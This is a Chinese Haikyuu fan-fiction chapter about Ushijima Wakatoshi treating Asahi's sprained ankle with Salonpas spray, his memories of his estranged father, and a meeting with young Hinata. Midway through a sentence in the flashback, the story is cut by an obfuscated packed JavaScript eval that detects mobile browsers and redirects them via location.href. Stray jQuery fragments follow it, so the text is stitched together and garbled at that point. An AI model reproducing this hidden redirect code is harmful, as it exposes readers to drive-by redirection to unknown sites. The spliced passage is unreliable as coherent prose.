“给。”


    两支一模一样的撒隆巴斯喷雾递到小早川元夏面前，宝石蓝的瓶身反射着灯光，刺得她眯起了的眼睛。


    是中岛猛。


    还有牛岛若利。


    被两位未来王牌同时送药的震撼让她茫然抬头，视线绕场一周之后才不确定地指了指自己。


    “给我？”


    “嗯。”


    他们对视一眼，又马上各自移开视线。


    经历过共同集训，自认为和乌野更熟悉一些的中岛猛不由分说，把罐子硬塞进她手里：“拿着吧。”


    牛岛若利站着没动，也没有说话，像一尊沉默的雕塑，只有散发的压人气场让她寒毛直竖。


    是被猛禽类凝视的直觉。


    “谢谢牛岛君。”


    犹豫了一秒，善于读空气的她选择双手接过他的好意，在和尚头少年‘你们果然认识’的眼神攻击下迅速逃离：“我先去旭同学那边帮忙。”


    足够礼貌，也足够疏离。


    女生微凉的指腹轻轻擦过比赛过后发红的手心，他无意识地伸展了几下指关节，神情更加安静，连被汗水打湿，显得有些凌乱的刘海碎发贴满前额也没有整理。


    “若利君，打扰别人谈恋爱，回到学校要被马踢的呀～”


    最爱凑热闹的天童走过来，把人180°转了个向，推着他的肩膀走回白鸟泽的场地。


    “没有打扰。”


    他骤然停下脚步，扭头解释，把跟在后面的队友吓了一跳，差点撞到自己的鼻梁：“他们不是情侣。”


    “是～是～”


    习惯了他一板一眼做事风格的队友没有在意，懒懒地感慨：“将来的事，谁知道呢～”


    “至少现在不是。”


    跑步过来的山形準人警告：“你们再不回去的话，我敢保证用不了十秒钟，鹫匠教练的怒火可以把整个球馆掀了。”


    “抱歉。这就回。”


    他率先走在前面，余光不经意地越过正在协助同伴处理伤口的小早川元夏。


    她看上去手忙脚乱，完全忘记了提前摇晃瓶身，也没有注意雾化器和患处的距离，把药剂洒得一地都是。


    “我来吧。”


    无视身后队友的呼喊，牛岛若利走到因为疼痛，整张脸皱成一团的武士发型少年面前蹲下，径自拿起另一支喷雾。


    “撒隆巴斯含有阿斯匹林和水杨酸。使用之前，需要先询问对方有没有对阿斯匹林或者水杨酸过敏。”


    得到否定的答案后，他旋开盖子，抓住瓶身反复摇晃，在自己手腕上测试雾化器运作是否顺畅。


    确认一切无误，最后才把喷头对准患处，留出合适的距离，一按到底。


    “滋啦——”


    带着薄荷脑气味的冰凉水雾全数覆盖在高高肿起的脚踝表面，很快发挥了它镇痛消炎的作用。


    东峰旭的表情从痛苦转为平静，身体慢慢放松下来，接过经理清水洁子的手帕，擦掉最后一点冷汗。


    “谢谢。”


    他感激道：“现在感觉好多了。”


    把地板弄得一塌糊的小早川元夏站在一边，红着脸尴尬道歉：“旭同学对不起。还有，谢谢牛岛君。”


    “嗯。”


    正在忙着用纸巾把喷头清洁干净的牛岛若利完全没有被人感谢的自觉：“下次记得先查看说明书。”


    “牛岛君平时会容易受伤吗？”


    长了一副爽朗面孔，实际个性狡黠的菅原孝支插话，不动声色地打探对手情况：“我看到你处理伤口的手法很熟练。”


    “并没有。”


    他不假思索地回复，语气笃定：“我不会受伤。”


    被旧患反复困扰的，其实是他的父亲。


    小时候，他发现只要放轻力道，把垫球的球路放低，陪他练习的父亲就会举手投降。


    “我赢了。”


    他跑到庭院的松树边，蹲下//身体，把滚落的儿童排球捡起来。


    “好好，是若利赢了。”


    父亲和蔼地笑着，用宽大的手掌摸过他头顶的碎发，掌心的茧子蹭到脸颊，让他不舒服地憋起嘴角。


    薄荷和桉树的气息混在一起，蹿入鼻腔。


    是撒隆巴斯的味道。


    “记住了，每天最多只能3-4次。”


    有着和他相似眉眼的男人一边熟练地往手肘和膝盖上喷洒药剂，一边对他叮嘱道：“其余时候，只能自行忍耐。”


    “嗯。”


    他默默记在心里，低头看着留着手术疤痕的膝盖，轻轻吹了一口气：“爸爸还疼吗？”


    “不痛了。”


    男人站起来，牵着他的手，走向刚刚到家，正在玄关换鞋的美丽妻子：“可以的话，我希望若利一辈子不要受伤。”


    然后他真的没有受过一次伤。


    平时放在背包里的撒隆巴斯，自己一次也没用上，都借给了队友应急，或者发现过了保质期，直接更换成新的。


    整个白鸟泽排球部都认为主要归因于他的接球和发球姿势足够标准。


    “是因为我的父亲。”


    他拉开背包内侧口袋的拉链，从里翻出一本封皮被翻得起了皱褶的书，递给面前头发花白，仍然精神矍铄、中气十足的教练。


    扉页上印着大写加粗的的简介：


    曾经因伤病而落泪的我，


    为不想因伤病而落泪的你，


    所写的排球身体素质训练教程。（注）


    落款签名是：空井崇。


    这是他收到的最后一份，来自父亲的礼物。


    父母受够了争吵不休的日子，曾经相爱的两人彼此厌倦，最终决定和平分手。


    他和母亲留在日本。


    父亲则去往美国尔湾发展，加入当地的排球职业联赛俱乐部，从助理教练做起。


    第一年，他尝试写信过去，向母亲询问联络地址，却被板着脸的她打发掉。


    圣诞节那天，父亲提前寄来了礼物：


    一个罗梅罗签名的排球。


    他趁着管家没注意，偷偷藏起带有寄件人信息的纸皮箱子，屏着呼吸，依葫芦画瓢地把组合在一起完全看不懂的英文字母抄写到信封上。贴上最贵的邮票，投进红色的邮筒里。


    父亲的回信很快，在长长的一页手写信里仔细询问他的日常生活，还有妈妈和奶奶的健康状况。


    第二年，加急的圣诞礼物经过半个地球的周转，终于赶在年末清晨送到牛岛宅古朴的大门前。


    是一双儿童护臂。


    他试着戴上，小了一号的黑色布料紧紧束缚着手肘的皮肤，留下一圈醒目的红印。


    和它放在一起的贺卡很漂亮，是父亲亲自拍摄的尔湾区四季风景。


    “圣诞快乐，若利。”


    他留言道：“期待不远的将来可以见到你。”


    第三年，和妈妈一起吃着饭店


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14591858|155921||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    提前送来的御节料理的他接到快递公司的电话。


    这次寄来的是一个扁扁薄薄的小箱子。


    里面只有一本书。


    还有留在扉页上的，龙飞凤舞的汉字签名。


    他想，父亲也许在海的另一边，有了属于自己的新生活。


    第四年，他再也没写过一封信。


    父亲的著作倒是被一直放在书包独立的内侧口袋里，随身携带着。


    隔三差五重新翻阅一次，严格按照书本上建议的科学方法进行训练。


    可能是父亲总结的经验和教训非常管用，也可能是运气真的很好，无论多激烈、多艰难的比赛，在结束的尖锐哨声响起时，他都可以平安地走下赛场。


    在他看来，身//体就是自己的领土。


    只有健康而肥沃的土地，才能持续结出丰硕的胜利果实。


    经历过崴脚的疼痛和打击，也许这位身高与他不相上下的乌鸦主攻手，会变得恐惧球场。


    ******


    “旭那边已经到医院了。经过医生初诊，判断没有伤到骨头。正在准备接受进一步的详细检查，有具体的进展我会及时通知大家。”


    宽慰完担忧的队员，队长黑川广树在校门前宣布集训结束：“解散。”


    回程中饿了一路的小早川元夏马上转身，跑向不远处的坂之下商店，还没走到收银台，就对一手拿烟一手拿报纸的年轻老板喊道：“麻烦给我来五个中华肉包。麻婆豆腐口味的也可以。没有的话菠菜包子也行。”


    “小姑娘年纪轻轻的，买那么多吃得完吗？”


    染了一头黄毛，戴着发箍的老板不耐烦地瞅了眼空空如也的蒸柜，反手向她扔来一瓶特价牛奶：“卖完了。明日请早。”


    “不可能！！”


    她放下一枚10元硬币，摸了摸正在惨叫的肚子：“学校还没开课，怎么会这么快完售？”


    “我可没骗你。”


    掐灭了烟头的老板遥遥一指：“刚刚那几个来参观的中学生把剩下的包子全部买走了。”


    顺着他指点的方向看去，果然有三个穿着白色T恤的男生。


    他们围成一团，似乎在为某件事情纠结。


    “小翔，别过去啦～”


    脸颊上有雀斑，长相相对温柔的男生拉住想要往前冲的同伴：“那边都是前辈。贸然打扰不太好。”


    “就是，你说要到小巨人的母校看看。”


    另一个留着刺猬发型的男生也挽住他的胳膊：“我们已经陪你来了。现在可以回去了吧。”


    “可是……”


    身高最矮，但是发色最显眼，像一颗大橘子的日向翔阳失落地撇嘴：“我还没有向排球部的前辈们问到入部标准呢。”


    他有些忐忑地搓着耳边的头发：“也不知道我这个身高能不能选上，会不会被劝退。”


    “不会。”


    突然插//入的回复把他吓了一跳，整个人向上蹦了一下。


    “呃……”


    同样被他惊人弹跳力吓到的小早川元夏露出尴尬的笑容，竭力洗刷刚刚路过的自己被关于小巨人的讨论吸引过来，结果不小心偷听完初中生对话全程的嫌疑：“我想应该不会。”


    “前辈，你是排球部的经理吗？”


    身高比她还要矮一点点的橘子头少年热情地询问，凑向她的眼神闪闪发亮，身后似乎有尾巴在摇。


    糟糕，是橘子小狗。